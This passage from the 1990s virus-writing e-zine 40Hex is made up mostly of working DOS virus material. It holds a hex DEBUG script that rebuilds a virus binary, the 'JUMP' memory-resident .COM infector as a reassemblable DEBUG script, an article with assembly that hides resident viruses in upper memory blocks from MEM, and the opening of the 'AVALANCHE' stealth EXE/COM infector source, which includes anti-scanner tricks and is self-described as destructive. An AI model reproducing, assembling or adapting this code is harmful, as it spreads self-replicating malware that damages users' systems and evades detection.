E 0850 00 01 E9 E1 FB E8 2D FC B0 50 0A C2 AA E8 FB FB
|
||
E 0860 AC 91 E8 92 FC 83 2E 0F 00 03 83 2E 8E 00 02 8B
|
||
E 0870 36 0F 00 88 8C 00 00 89 84 01 00 C3 BA 20 00 E8
|
||
E 0880 48 FB 92 0C 06 24 FE AA 32 C9 3C 06 75 D7 A1 9E
|
||
E 0890 00 8A 0E 9D 00 EB CE B0 9C EB EC 0F 24 05 02 4F
|
||
E 08A0 05 01 5D 05 03 69 05 FF 83 3E 0F 00 0F 74 85 BE
|
||
E 08B0 0B 05 EB 99 E8 CE FB B0 58 0A C2 AA E8 09 00 E8
|
||
E 08C0 99 FB 88 0C E8 16 FC C3 8B 36 0F 00 8A 8C 00 00
|
||
E 08D0 8B 84 01 00 83 06 0F 00 03 83 06 8E 00 02 C3 B0
|
||
E 08E0 07 AA E8 E3 FF 88 0E 9D 00 A3 9E 00 C3 F6 06 A0
|
||
E 08F0 00 01 75 F8 B0 1F AA EB CF F6 06 A0 00 01 75 EC
|
||
E 0900 B8 0E 1F AB 80 0E A0 00 01 C3 50 51 52 8B CA E3
|
||
E 0910 09 33 D2 E8 B4 FA 92 AA E2 F7 5A 59 58 C3 E8 A9
|
||
E 0920 FA 03 F2 AC C3 77 73 72 76 74 7F 7D 7C 7E EB 75
|
||
E 0930 71 7B 79 70 7A 78 E3 E2 E1 E0 18 BD 05 05 F7 05
|
||
E 0940 01 10 06 03 1F 06 FF BE AA 05 E9 E9 FA F6 06 A1
|
||
E 0950 00 01 74 32 BE 95 05 BA 11 00 E8 C1 FF AA A2 DB
|
||
E 0960 05 8B 0E 82 00 8B 2E A2 00 55 9D EB 09 33 D2 E8
|
||
E 0970 58 FA 92 AA EB 0C BA 14 00 E8 4E FA 8A C2 AA E8
|
||
E 0980 88 FF 89 0E 82 00 C3 80 3E 81 00 03 75 F8 BE A6
|
||
E 0990 05 BA 02 00 F6 06 A1 00 01 74 BF BA 04 00 EB BA
|
||
E 09A0 B0 E9 AA BA 14 00 E8 21 FA 8B C2 AB E9 5B FF F6
|
||
E 09B0 06 7E 11 04 74 D0 B0 E8 AA A1 DC 10 48 48 2B C7
|
||
E 09C0 AB C3 FB FA FD FC BE 32 06 BA 04 00 E8 4F FF AA
|
||
E 09D0 C3 04 54 06 04 61 06 04 6E 06 01 7B 06 FF BE 41
|
||
E 09E0 06 E9 52 FA 8B 2E 96 00 B4 84 80 3E 95 00 03 74
|
||
E 09F0 1E 8B 2E 9A 00 B4 85 80 3E 99 00 03 74 11 8B 2E
|
||
E 0A00 8A 00 B4 87 80 3E 89 00 03 74 04 33 ED B4 06 C3
|
||
E 0A10 F6 06 A0 00 01 75 04 C6 05 2E 47 C3 E8 79 FA 72
|
||
E 0A20 3F 50 E8 D2 FA 0A C0 58 74 36 E8 E6 FA 0A 06 A5
|
||
E 0A30 00 E8 DC FF AB 8B 36 E2 10 89 04 E8 B9 FA 89 44
|
||
E 0A40 04 BA 21 00 2A 16 A5 00 E8 7F F9 89 54 02 83 06
|
||
E 0A50 E2 10 06 A1 DE 10 03 C2 2B C5 AB 80 26 A1 00 FE
|
||
E 0A60 C3 06 08 08 02 02 00 F7 06 00 FB 06 00 FF 06 00
|
||
E 0A70 03 07 00 25 07 FF 81 3E E2 10 7A 11 73 E2 E8 5D
|
||
E 0A80 FF BE D6 06 E9 AF F9 B0 30 EB 91 B0 00 EB 8D B0
|
||
E 0A90 28 EB 89 B0 D0 BA 04 00 E8 2F F9 0B D2 74 10 F6
|
||
E 0AA0 06 81 00 01 74 09 80 3E 82 00 00 74 02 0C 02 BA
|
||
E 0AB0 01 00 E9 78 FF 80 CC 08 EB D9 05 3A 07 01 68 07
|
||
E 0AC0 FF E8 1A FF BE 2A 07 E9 6C F9 E8 B8 F9 B0 8A E8
|
||
E 0AD0 3D FA 52 E8 3A FF AB 8B D7 81 EA 82 11 E8 EA F8
|
||
E 0AE0 A1 7A 11 03 C2 2B C5 AB 92 5A E8 6E F9 08 2C BE
|
||
E 0AF0 81 11 03 F0 AD E9 E5 F9 E8 9D F9 72 17 B0 88 E8
|
||
E 0B00 0D FA E8 0B FF AB BA 0E 00 E8 BE F8 A1 7C 11 03
|
||
E 0B10 C2 2B C5 AB C3 0D B7 05 20 E6 06 11 31 07 46 F5
|
||
E 0B20 01 01 36 06 10 B3 04 10 18 05 04 85 04 04 89 04
|
||
E 0B30 02 8D 04 02 91 04 02 95 04 02 99 04 02 A5 04 07
|
||
E 0B40 25 03 07 2F 03 04 39 03 04 43 03 09 63 03 09 6D
|
||
E 0B50 03 02 77 03 02 87 03 04 59 03 04 CE 03 04 D8 03
|
||
E 0B60 04 11 04 02 E1 03 02 F7 03 FF FC B9 0A 00 BF 7D
|
||
E 0B70 00 33 C0 AA 83 C7 03 E2 FA 93 A0 7E 11 24 01 A2
|
||
E 0B80 A0 00 B0 04 F6 06 7E 11 02 74 02 0C 03 08 06 8D
|
||
E 0B90 00 C7 06 0F 00 0F 00 C7 06 E2 10 E4 10 B9 05 00
|
||
E 0BA0 BE D1 06 BF D6 06 AC 98 92 E8 1E F8 92 03 D8 AA
|
||
E 0BB0 47 47 E2 F2 0B DB 74 E5 BF 81 11 B8 FF FF 50 F6
|
||
E 0BC0 06 7E 11 04 74 1E 58 BA 63 00 E8 FD F7 42 52 52
|
||
E 0BD0 E8 F7 F7 E8 34 FD 89 3E DC 10 B0 C3 AA 58 2B C2
|
||
E 0BE0 92 E8 26 FD 8B C7 2D 81 11 03 06 7A 11 A3 7F 11
|
||
E 0BF0 BA 0C 01 58 2B D0 E8 D1 F7 03 D0 81 C2 90 01 89
|
||
E 0C00 16 E0 10 81 06 E0 10 81 11 03 16 7A 11 89 16 DE
|
||
E 0C10 10 C7 06 9E 08 85 07 C6 06 A5 08 00 57 BA 03 00
|
||
E 0C20 E8 A7 F7 0A D2 74 02 B2 01 88 16 A5 00 BE 85 07
|
||
E 0C30 E8 03 F8 58 EB 00 57 83 C7 16 3B 3E E0 10 5F 72
|
||
E 0C40 DB C7 06 9E 08 8E 07 C6 06 A5 08 18 EB CE 3B 3E
|
||
E 0C50 E0 10 72 C8 97 75 C5 97 8B DF B8 B7 0F 2B C7 A3
|
||
E 0C60 38 09 BE 21 09 B9 21 00 F3 A4 8B 36 E2 10 81 FE
|
||
E 0C70 E4 10 76 3C 83 EE 06 8A 04 8A D0 80 E2 FC 80 FA
|
||
E 0C80 00 75 02 0C 28 80 FA 28 75 02 24 03 B4 8F 81 24
|
||
E 0C90 FC 38 81 3C D0 08 75 03 80 E4 C7 A3 1A 09 8B 54
|
||
E 0CA0 02 89 16 1C 09 8B 4C 04 EB 00 31 8F 34 12 EB BE
|
||
E 0CB0 C3 FB 0E 1F BE 34 12 B8 34 12 B9 1D 08 31 04 EB
|
||
E 0CC0 09 05 34 12 46 E2 F6 E9 00 00 05 34 12 46 31 04
|
||
E 0CD0 EB EF B9 3A 10 33 D2 E8 16 00 B4 40 8B 1E 74 10
|
||
E 0CE0 9C 9A 00 00 00 00 72 02 3B C1 9C E8 02 00 9D C3
|
||
E 0CF0 51 8B F2 B8 34 12 B9 1D 08 31 04 05 34 12 46 31
|
||
E 0D00 04 05 34 12 46 E2 F2 59 C3 B0 03 CF 52 1E 0E 1F
|
||
E 0D10 B8 24 35 E8 65 00 8C 06 90 10 89 1E 8E 10 B8 24
|
||
E 0D20 25 BA 71 10 E8 54 00 1F 5A C3 B8 24 25 2E C5 16
|
||
E 0D30 8E 10 E8 46 00 C3 52 26 8B 47 02 40 33 D2 2E F7
|
||
E 0D40 36 2B 00 26 8B 07 24 1F 3A C2 F9 74 09 26 8B 07
|
||
E 0D50 25 E0 FF 0A C2 F8 5A C3 B4 40 EB 02 B4 3F E8 15
|
||
E 0D60 00 72 02 3B C1 C3 33 C9 8B D1 B8 00 42 EB 07 33
|
||
E 0D70 C9 8B D1 B8 02 42 2E 8B 1E 74 10 9C FA 2E FF 1E
|
||
E 0D80 4A 10 C3 B8 00 57 E8 ED FF BB 92 10 89 0F 89 57
|
||
E 0D90 02 E8 A2 FF 73 01 C3 33 D2 E8 2E F6 89 16 28 09
|
||
E 0DA0 89 16 5C 10 33 D2 E8 21 F6 89 16 3B 09 89 16 64
|
||
E 0DB0 10 33 D2 E8 14 F6 89 16 32 09 89 16 6A 10 E8 A5
|
||
E 0DC0 FF B9 18 00 BA 76 10 E8 92 FF 72 CA 8B F2 BF 11
|
||
E 0DD0 00 F3 A4 52 E8 98 FF A3 96 10 89 16 98 10 8B F0
|
||
E 0DE0 8B FA 5B 81 3F 5A 4D 74 18 81 3F 4D 5A 74 12 C6
|
||
E 0DF0 06 23 00 00 3D 79 EC 77 9D C7 06 1B 00 00 00 EB
|
||
E 0E00 2B C6 06 23 00 01 8B 47 04 F7 26 2D 00 2B C6 1B
|
||
E 0E10 D7 72 B7 8B C6 8B D7 05 06 13 83 D2 00 F7 36 2D
|
||
E 0E20 00 0B D2 74 01 40 89 47 04 89 57 02 83 E6 F0 83
|
||
E 0E30 C6 10 83 D7 00 8B D6 8B CF 53 E8 2D FF 5B 80 3E
|
||
E 0E40 23 00 00 75 17 C6 07 E9 05 00 01 A3 7C 11 05 3A
|
||
E 0E50 10 A3 7A 11 C6 06 7E 11 01 90 EB 51 8B 47 08 F7
|
||
E 0E60 26 29 00 2B F0 1B FA 8B C6 8B D7 F7 36 29 00 89
|
||
E 0E70 47 16 A3 11 00 8B 47 0E F7 26 29 00 8B 4F 10 03
|
||
E 0E80 C1 83 D2 00 2B C6 1B D7 72 0D 2D 80 00 83 DA 00
|
||
E 0E90 72 5A 81 47 0E 30 01 C7 06 7A 11 3A 10 C7 06 7C
|
||
E 0EA0 11 00 00 89 0E 8E 00 C6 06 7E 11 02 90 A1 7C 11
|
||
E 0EB0 A3 25 09 A3 8A 0E BA 06 00 E8 0E F5 0B D2 74 05
|
||
E 0EC0 80 0E 7E 11 04 E8 A2 FC E8 FF 04 72 1F A1 7F 11
|
||
E 0ED0 80 3E 23 00 00 75 08 2D 03 01 A3 77 10 EB 03 A3
|
||
E 0EE0 8A 10 8B CF BA 81 11 2B CA E8 6C FE 72 2B E8 75
|
||
E 0EF0 FE B9 18 00 BA 76 10 E8 5E FE 72 1D 81 06 96 10
|
||
E 0F00 06 13 83 16 98 10 00 BA 19 00 E8 BD F4 0B D2 74
|
||
E 0F10 08 BB 92 10 E8 1F FE 89 07 8B 16 96 10 8B 0E 98
|
||
E 0F20 10 E8 46 FE 33 C9 E8 2F FE B8 01 57 8B 0E 92 10
|
||
E 0F30 8B 16 94 10 E8 3F FE C3 26 81 2F 06 13 26 83 5F
|
||
E 0F40 02 00 73 0A 26 81 07 06 13 26 83 57 02 00 C3 03
|
||
E 0F50 43 4F 4D 03 45 58 45 04 53 43 41 4E 07 56 53 48
|
||
E 0F60 49 45 4C 44 05 43 4C 45 41 4E 08 46 49 4E 44 56
|
||
E 0F70 49 52 55 05 47 55 41 52 44 08 56 49 56 45 52 49
|
||
E 0F80 46 59 02 54 42 02 2D 56 07 56 49 52 53 54 4F 50
|
||
E 0F90 03 4E 4F 44 04 48 49 45 57 05 50 41 53 43 41 07
|
||
E 0FA0 4E 45 54 45 4E 56 49 06 46 2D 50 52 4F 54 06 43
|
||
E 0FB0 48 4B 44 53 4B 53 51 56 57 1E 06 50 8B F2 8B DE
|
||
E 0FC0 33 FF B9 40 00 AC 3C 5C 74 08 3C 2F 74 04 3C 3A
|
||
E 0FD0 75 02 8B DE 3C 2E 75 02 8B FE 0A C0 74 04 E2 E5
|
||
E 0FE0 EB 45 3B FB 76 41 8B F7 BF BF 0B 0E 07 E8 3A 00
|
||
E 0FF0 74 05 E8 35 00 75 30 B1 0F 8B F3 BF C7 0B 51 E8
|
||
E 1000 28 00 59 74 0B E2 F7 F8 58 07 1F 5F 5E 59 5B C3
|
||
E 1010 83 F9 02 77 0D 58 50 80 FC 4B 75 06 2E C6 06 0A
|
||
E 1020 0D 6C 83 F9 01 74 E0 F9 EB DE 56 26 8A 0D 47 8B
|
||
E 1030 C7 03 C1 50 AC 3C 61 72 06 3C 7A 77 02 2C 20 AE
|
||
E 1040 E1 F2 5F 5E C3 50 53 51 56 57 55 1E 06 E8 75 01
|
||
E 1050 E8 B9 FC B8 00 43 E8 22 FD 2E 89 0E F7 0C B8 01
|
||
E 1060 43 33 C9 E8 15 FD 72 24 B8 02 3D E8 0D FD 72 13
|
||
E 1070 52 1E 0E 1F 0E 07 A3 74 10 E8 07 FD B4 3E E8 F5
|
||
E 1080 FC 1F 5A B8 01 43 B9 00 00 E8 EF FC E8 9B FC 07
|
||
E 1090 1F 5D 5F 5E 59 5B 58 C3 FB EB 00 80 FC 11 74 05
|
||
E 10A0 80 FC 12 75 2C 53 06 50 B4 2F E8 CE FC 58 E8 CA
|
||
E 10B0 FC 3C FF 74 19 50 26 80 3F FF 75 03 83 C3 07 83
|
||
E 10C0 C3 17 E8 71 FC 58 73 06 83 C3 06 E8 6A FE 07 5B
|
||
E 10D0 CF 80 FC 4E 74 05 80 FC 4F 75 2C 53 06 50 B4 2F
|
||
E 10E0 E8 98 FC 58 E8 94 FC 72 11 50 83 C3 16 E8 46 FC
|
||
E 10F0 58 73 06 83 C3 04 E8 3F FE F8 07 5B 50 55 8B EC
|
||
E 1100 9F 88 66 08 5D 58 CF 80 FC 31 74 0B 80 FC 4C 75
|
||
E 1110 09 2E C6 06 0A 0D 00 E8 AB 00 FC 52 3D 00 4B 74
|
||
E 1120 47 3D 00 6C 75 07 F6 C2 12 8B D6 75 45 80 FC 3C
|
||
E 1130 74 40 80 FC 5B 74 3B 80 FC 3E 75 25 2E 3B 1E 9A
|
||
E 1140 10 75 1E 0B DB 74 1A 2E C7 06 9A 10 00 00 E8 2A
|
||
E 1150 FC 72 0B 1E 0E 1F BA 9C 10 E8 E9 FE 1F F8 5A EB
|
||
E 1160 9B 5A FA 2E FF 2E 4A 10 E8 4A FE 72 F4 E8 D5 FE
|
||
E 1170 EB EF 2E 83 3E 9A 10 00 75 E7 E8 38 FE 72 E2 2E
|
||
E 1180 89 16 FA 0D 5A 52 E8 F2 FB BA 00 00 72 D0 51 56
|
||
E 1190 57 06 8B F2 BF 9A 10 0E 07 AB B9 40 00 F3 A4 07
|
||
E 11A0 5F 5E 59 EB B8 54 42 4D 45 4D 58 58 58 54 42 43
|
||
E 11B0 48 4B 58 58 58 54 42 44 53 4B 58 58 58 54 42 46
|
||
E 11C0 49 4C 58 58 58 50 52 1E B4 FF 32 DB CD 13 B4 FE
|
||
E 11D0 CD 13 B8 02 FA BA 45 59 B3 31 CD 16 0E 1F B4 52
|
||
E 11E0 CD 21 26 C4 5F 22 BE 0D 0E B9 04 00 51 83 C6 08
|
||
E 11F0 8D 7F 0A B9 04 00 56 F3 A7 5E 59 E0 EF 75 06 26
|
||
E 1200 80 0E 16 00 01 26 C4 1F 83 FB FF 75 D9 1F 5A 58
|
||
E 1210 C3 43 4F 4D 4D 41 4E 44 00 B8 00 00 B1 04 D3 E8
|
||
E 1220 8C CA 03 C2 50 B8 9A 0E 50 CB FC 0E 1F B8 0F 00
|
||
E 1230 2B 06 0F 00 49 F6 F1 D1 E0 03 E0 B1 19 A1 F5 0F
|
||
E 1240 F6 F1 0A E4 75 1D B4 2A CD 21 80 FA 07 75 14 B4
|
||
E 1250 09 BA F7 0F CD 21 BA CC 03 EC 24 FD B2 C2 EE B4
|
||
E 1260 4C CD 21 E8 5F FF B4 62 CD 21 53 33 C0 8E D8 8E
|
||
E 1270 1E FE 04 81 3E 81 0E 43 4F 74 3D 93 48 8E D8 03
|
||
E 1280 06 03 00 2D 44 01 8C CA 81 C2 04 01 3B C2 72 1B
|
||
E 1290 8C CA 2E 03 16 1B 00 3B C2 72 10 8C D2 8B F4 46
|
||
E 12A0 B1 04 D3 EE 46 03 D6 3B C2 73 24 B4 48 BB FF FF
|
||
E 12B0 CD 21 81 FB 45 01 73 03 E9 9A 00 B4 48 CD 21 48
|
||
E 12C0 8E D8 C7 06 01 00 00 00 03 06 03 00 2D 44 01 8A
|
||
E 12D0 16 00 00 C6 06 00 00 4D 81 2E 03 00 45 01 A3 12
|
||
E 12E0 00 8E D8 88 16 00 00 40 A3 01 00 C7 06 03 00 44
|
||
E 12F0 01 1E 07 0E 1F FF 06 F5 0F BE 81 0E BF 08 00 A5
|
||
E 1300 A5 A5 A5 8E C0 33 F6 8B FE B9 3A 10 F3 A4 BE 42
|
||
E 1310 09 B9 3A 00 F3 A4 33 C0 26 A3 9A 10 8E D8 A1 6C
|
||
E 1320 04 26 A3 43 00 A1 6E 04 26 A3 40 00 C6 06 FB 04
|
||
E 1330 EA C7 06 FC 04 08 0D 8C 06 FE 04 FA A1 84 00 26
|
||
E 1340 A3 4A 10 A1 86 00 26 A3 4C 10 C7 06 84 00 FB 04
|
||
E 1350 8C 1E 86 00 FB 5B 0E 1F 8E C3 BE 11 00 80 7C 12
|
||
E 1360 00 75 0D BF 00 01 89 7C 14 89 5C 16 A4 A5 EB 0C
|
||
E 1370 8C C8 2B 04 01 44 16 03 44 0E 8E D0 8E DB 33 C0
|
||
E 1380 2E FF 2E 25 00 E2 04 0D 0A 57 65 6C 63 6F 6D 65
|
||
E 1390 20 74 6F 20 74 68 65 20 45 78 70 6C 6F 73 69 6F
|
||
E 13A0 6E 27 73 20 4D 75 74 61 74 69 6F 6E 20 4D 61 63
|
||
E 13B0 68 69 6E 65 20 21 0D 0A 44 69 73 20 69 73 20 6C
|
||
E 13C0 65 76 65 6C 20 33 2E 0D 0A 24 B9 3A 10 33 D2 E8
|
||
E 13D0 16 00 B4 40 8B 1E 74 10 9C 9A 00 00 00 00 72 02
|
||
E 13E0 3B C1 9C E8 02 00 9D C3 51 8B F2 B8 34 12 B9 1D
|
||
E 13F0 08 31 04 05 34 12 46 31 04 05 34 12 46 E2 F2 59
|
||
E 1400 C3 B0 03 CF
|
||
R CX
|
||
1304
|
||
W
|
||
Q
|
||
40Hex Number 14 Volume 5 Issue 1 File 011
|
||
|
||
The following is a DEBUG script for my old JUMP virus, written sometime
|
||
in the summer of '94 or so I think. I had gotten bored as hell, and couldn't
|
||
think of much that hadn't been done with viruses, so I came up with this
|
||
thing.... anyway, I didn't make it the typical "e 100 xx xx" type debug
|
||
script, 'cause I wanted people to be able to see how it got its name.
|
||
It can be reassembled the same as any debug script, just debug <jump.scr.
|
||
Aside from its most obvious trait, it is a memory resident appending .com
|
||
infector.
|
||
|
||
-Stormbringer
|
||
|
||
------------------------- cut here for jump.scr ------------------------
|
||
a 100
|
||
jmp near 0104
|
||
jmp 5D00:00E8
|
||
jmp 010B
|
||
jmp 0107:ED81
|
||
jmp 0112
|
||
jmp DB33:4AB4
|
||
jmp 0119
|
||
jmp 9021:CD4B
|
||
jmp 0120
|
||
jmp 9031:EB83
|
||
jmp 0127
|
||
jmp 21CD:4AB4
|
||
jmp 012E
|
||
jmp 9000:30BB
|
||
jmp 0135
|
||
jmp 21CD:48B4
|
||
jmp 013C
|
||
jmp 9000:102D
|
||
jmp 0143
|
||
jmp 9090:C08E
|
||
jmp 014A
|
||
jmp 9000:F0BF
|
||
jmp 0151
|
||
jmp 90AA:5AB0
|
||
jmp 0158
|
||
jmp ABC0:8C90
|
||
jmp 015F
|
||
jmp 0601:00BF
|
||
jmp 0166
|
||
jmp 0100:B68D
|
||
jmp 016D
|
||
jmp 5001:83B8
|
||
jmp 0174
|
||
jmp 9001:D2B9
|
||
jmp 017B
|
||
jmp 90CB:A4F2
|
||
jmp 0383
|
||
jmp 071F:061E
|
||
jmp 018A
|
||
jmp 9001:00BF
|
||
jmp 0191
|
||
jmp A501:E3BE
|
||
jmp 0198
|
||
jmp 90C0:33A4
|
||
jmp 019F
|
||
jmp 90FA:D88E
|
||
jmp 01A6
|
||
jmp 9001:F5B8
|
||
jmp 01AD
|
||
jmp 0084:0687
|
||
jmp 01B4
|
||
jmp 02D2:A32E
|
||
jmp 01BB
|
||
jmp 9090:C88C
|
||
jmp 01C2
|
||
jmp 0086:0687
|
||
jmp 01C9
|
||
jmp 02D4:A32E
|
||
jmp 01D0
|
||
jmp 1F06:06FB
|
||
jmp 01D7
|
||
jmp 5701:00BF
|
||
jmp 01DE
|
||
jmp 0000:E9CB
|
||
jmp 0020:CD90
|
||
jmp 504D:554A
|
||
jmp 4442
|
||
jmp 5D53:505B
|
||
jmp 904B:003D
|
||
jz 01FE
|
||
jmp 02D1
|
||
jmp 0201
|
||
jmp 5251:5350
|
||
jmp 0208
|
||
jmp 5756:061E
|
||
jmp 020F
|
||
jmp 3D02:B890
|
||
jmp 0216
|
||
jmp 0373:21CD
|
||
jmp 02C6
|
||
jmp 0220
|
||
jmp 01E3:BA93
|
||
jmp 0227
|
||
jmp 0003:B90E
|
||
jmp 022E
|
||
jmp 903F:B41F
|
||
jmp 0235
|
||
jmp 9090:21CD
|
||
jmp 023C
|
||
jmp 01E3:3E80
|
||
jmp 7EB7
|
||
jmp 0246
|
||
jmp 9001:E3BE
|
||
jmp 024D
|
||
jmp 904D:3C80
|
||
jz 02BF
|
||
jmp 0256
|
||
jmp 9042:02B8
|
||
jmp 025D
|
||
jmp D233:C933
|
||
jmp 0264
|
||
jmp 9090:21CD
|
||
jmp 026B
|
||
jmp 9000:032D
|
||
jmp 0272
|
||
jmp 9001:E0A3
|
||
jmp 0279
|
||
jmp 9090:40B4
|
||
jmp 0280
|
||
jmp FB01:00BA
|
||
jmp 0287
|
||
jmp 9001:D2B9
|
||
jmp 028E
|
||
jmp C933:21CD
|
||
jmp 0295
|
||
jmp 9042:00B8
|
||
jmp 029C
|
||
jmp 21CD:D233
|
||
jmp 02A3
|
||
jmp FBFA:40B4
|
||
jmp 02AA
|
||
jmp 9001:DFBA
|
||
jmp 02B1
|
||
jmp 0003:B990
|
||
jmp 02B8
|
||
jmp 9090:21CD
|
||
jmp 02BF
|
||
jmp 21CD:3EB4
|
||
jmp 02C6
|
||
jmp 1F07:5E5F
|
||
jmp 02CD
|
||
jmp 585B:595A
|
||
jmp 0000:0000
|
||
|
||
rcx
|
||
1d6
|
||
rbx
|
||
0
|
||
n jump.com
|
||
w 100
|
||
q
|
||
|
||
|
||
------------------------- end of jump.scr ---------------------------
|
||
|
||
40Hex Number 14 Volume 5 Issue 1 File 012
|
||
|
||
UMB Residency
|
||
By Dark Angel, Phalcon/Skism '95
|
||
|
||
One day, while fiddling with loading programs into MSDOS UMB's, I realised
|
||
that there are very few viruses that used UMB's. This is surprising, given
|
||
the prevalence of UMB's and the ease with which DOS viruses may hide their
|
||
presence through the use of UMB's.
|
||
|
||
The UMB's, or upper memory blocks, consist of the memory above 640K and below
|
||
1MB (segments A000 to FFFF). This region was reserved early on for BIOS and
|
||
peripherals, notably video memory. There is normally plenty of unused space in
|
||
this region, so enterprising programmers found a simple way to incorporate the
|
||
memory into DOS's memory allocation scheme. They simply extended the MCB chain
|
||
into that region, with MCB's indicating already allocated memory covering the
|
||
memory used for other purposes by the machine. In this way, more memory,
|
||
albeit fragmented, was usable for loading programs. The UMB's are especially
|
||
handy for storing TSR's, since they have smaller memory constraints than most
|
||
programs. The programmers at Microsoft, realising the utility of UMB's,
|
||
decided to incorporate UMB's into DOS beginning at version 5, so now there is
|
||
a standardised method of handling upper memory.
|
||
|
||
The MCB's handling upper memory are slightly more complex than regular MCB's.
|
||
The format of a UMB control block is:
|
||
|
||
Offset Size Description
|
||
00 BYTE 'Z' if last MCB in chain, 'M' otherwise
|
||
01 WORD PSP segment of owner (8 if MSDOS, 0 if free)
|
||
03 WORD size of memory block in paragraphs
|
||
05 3 BYTES unused
|
||
08 8 BYTES program name in ASCII or
|
||
"SC" if system code or
|
||
"SD" if system data
|
||
|
||
The method is pretty simple to understand and very easy to implement. In
|
||
DOS 5+, the first UMB can be located through a pointer in the disk buffer
|
||
information structure which, in turn, may be located through the DOS master
|
||
list structure. This UMB is usually located at 9FFF:0000, but there is no need
|
||
for this to be the case. It's simply the most convenient location for it. The
|
||
only difference between modifying regular MCB's and UMB's is the extra field
|
||
at offset 8 which may be used to mark the block as DOS system code. By marking
|
||
this with DOS's usual fields to indicate unusuable memory such as video memory
|
||
and ROM, we effectively hide the virus from detection by utilities such as
|
||
MEM. Since it doesn't reside in conventional memory (below 640K), there is no
|
||
decrease in memory a la 40:13 BIOS manipulating memory residency techniques.
|
||
|
||
The sample code below, written for a simple COM infector, illustrates the
|
||
technique.
|
||
|
||
start: xor di,di
|
||
|
||
mov ax,3306 ; get true DOS version
|
||
int 21
|
||
inc al ; DOS 4-?
|
||
jz no_UMBs ; if so, we don't have UMB's
|
||
|
||
mov ah,52 ; get DOS master list
|
||
int 21 ; structure
|
||
|
||
lds si,es:[bx+12] ; get ptr to disk buffer info
|
||
|
||
mov ax,ds:[si+1f] ; get address of the first UMB
|
||
inc ax ; (FFFF if no UMBs present)
|
||
jz no_UMBs
|
||
dec ax ; undo damage from above
|
||
search_chain: mov ds,ax ; go to the MCB
|
||
cmp word ptr [di+1],di ; unused?
|
||
jnz search_next
|
||
cmp word ptr [di+3],reslength_P ; MCB large enough to
|
||
ja handle_MCB ; hold us and our MCB?
|
||
search_next: cmp byte ptr [di],'Z' ; end of chain?
|
||
jz no_UMBs
|
||
mov bx,[di+3] ; go to the next MCB
|
||
inc ax ; 40Hex
|
||
add ax,bx
|
||
jmp search_chain
|
||
|
||
no_UMBs: mov ax,cs
|
||
dec ax ; get the MCB for current
|
||
mov ds,ax ; program
|
||
cmp word ptr [di+3],reslength_P + 1000 ; large enough for
|
||
jna fail_init ; program and virus and its
|
||
; MCB?
|
||
jmp short handle_MCB
|
||
|
||
db 0,'(DA/PS)',0
|
||
|
||
handle_MCB: sub word ptr [di+3],reslength_P + 1 ; adjust size of memory
|
||
; area for virus + its MCB
|
||
mov bx,[di+3] ; get size of new memory area
|
||
mov cl,'M' ; make sure this MCB doesn't
|
||
xchg cl,byte ptr [di] ; mark the end of the chain
|
||
inc ax
|
||
add ax,bx ; go to virus segment's MCB
|
||
mov ds,ax
|
||
mov es,ax
|
||
|
||
mov byte ptr [di],cl ; patch end of chain indicator
|
||
mov word ptr [di+1],8 ; mark MCB owned by DOS
|
||
mov word ptr [di+3],reslength_P ; patch in virus size
|
||
|
||
inc ax ; ds->virus segment
|
||
mov ds,ax
|
||
|
||
or di,8 ; go to program name field
|
||
mov ax,'CS' ; make virus invisible to MEM
|
||
stosw ; by pretending it is
|
||
xor ax,ax ; DOS system code
|
||
stosw
|
||
stosw
|
||
stosw
|
||
40Hex Number 14 Volume 5 Issue 1 File 013
|
||
|
||
;****************************************************************************
|
||
;* Resident stealth infector 'AVALANCHE' *
|
||
;* written by Metal Junkie in 1994/95 *
|
||
;****************************************************************************
|
||
|
||
; 100% memory stealth
|
||
; Int 21h Tunneling
|
||
; Retro functions
|
||
; EXE/COM - Infection
|
||
; and many other features. Enjoy it!
|
||
|
||
; Disclaimer: Warning! This source contains destructive code. Do not compile
|
||
; it! The author is not responsible for any damage caused by this code.
|
||
; And last but not least, greetings to Neurobasher,Stormbringer, the guys
|
||
; of VLAD (hi qark) and the Unforgiven Metal Militia.
|
||
|
||
code segment para 'code'
|
||
.8086
|
||
org 100h
|
||
|
||
assume cs:code, ds:code, es:code, ss:code ;
|
||
|
||
;======== Initializing routines and decryption =============================
|
||
|
||
; test options:
|
||
|
||
EXEPERMIS equ 1 ; infect EXE Files
|
||
COMPERMIS equ 1 ; infect COM files
|
||
STEALTH equ 1 ; include stealth functions
|
||
RETRO equ 1 ; anti scan
|
||
|
||
start: ; SS ist always equal CS !
|
||
|
||
.386
|
||
kenn:
|
||
mov ecx,(offset (virende-vircode+1)) ; Adios F-Prot !
|
||
kenn1: mov bx,(266+offset vircode)
|
||
jmp patch
|
||
db 0eah ; Adios TBAV !
|
||
entschl: xor byte ptr cs:[bx],0
|
||
inc bx
|
||
patch: loop entschl
|
||
|
||
.8086
|
||
|
||
; ------ Start of encrypted body ----
|
||
|
||
vircode: call getip ; Only to fool simple scanners looking
|
||
getip: pop ax ; for the classic pop bp
|
||
mov bp,ax
|
||
sub bp,(100h+(getip-start));
|
||
patch5: jmp short conti
|
||
db 81h
|
||
conti: jmp lab1
|
||
|
||
;--- Constants ---------------------------------------------------------
|
||
|
||
sprbef equ 3 ; 3 Bytes for a JUMP
|
||
monat equ 01h ; Date of activation
|
||
itsme equ "sh" ; Signature
|
||
|
||
DOS_N equ 21h ; normal DOS Function 21
|
||
|
||
|
||
db " AVALANCHE/Germany '94...Metal Junkie greets Neurobasher"
|
||
|
||
;--- EXE-Header-Lokationen ---
|
||
|
||
cs_pos equ 16h ; Position of Codesegment in EXE Header
|
||
ss_pos equ 0eh
|
||
ip_pos equ 14h ; IP
|
||
ovl_no equ 1Ah
|
||
hdl_pos equ 08h ; Size of Header
|
||
sp_pos equ 10h ; SP
|
||
min_par equ 0ah ; Min. amount of memory
|
||
div512 equ 04h ; Filelength DIV 512
|
||
mod512 equ 02h ; MOD 512
|
||
segtab equ 06h ;
|
||
chksum equ 12h ;
|
||
|
||
;--- Variables ----
|
||
|
||
cs_merk dw (0)
|
||
ds_merk dw (0) ; store the original regs here
|
||
es_merk dw (0)
|
||
sp_merk dw 0fffeh
|
||
ss_merk dw (0)
|
||
|
||
min_mem dw 4096
|
||
|
||
ip_merk dw 0100h ; pointer to first instruction of host
|
||
wirt dw (?) ; this is a far jump to the host
|
||
combytes db 0C3h,0h,01h ; buffer for host bytes (COM)
|
||
com_vek db 0e9h,0,0 ; jump vector (COM)
|
||
;---
|
||
|
||
org_filelng_lo dw (?) ; original length of host
|
||
org_filelng_hi dw (?)
|
||
mem_strat dw (?) ; buffer for allocation strategy
|
||
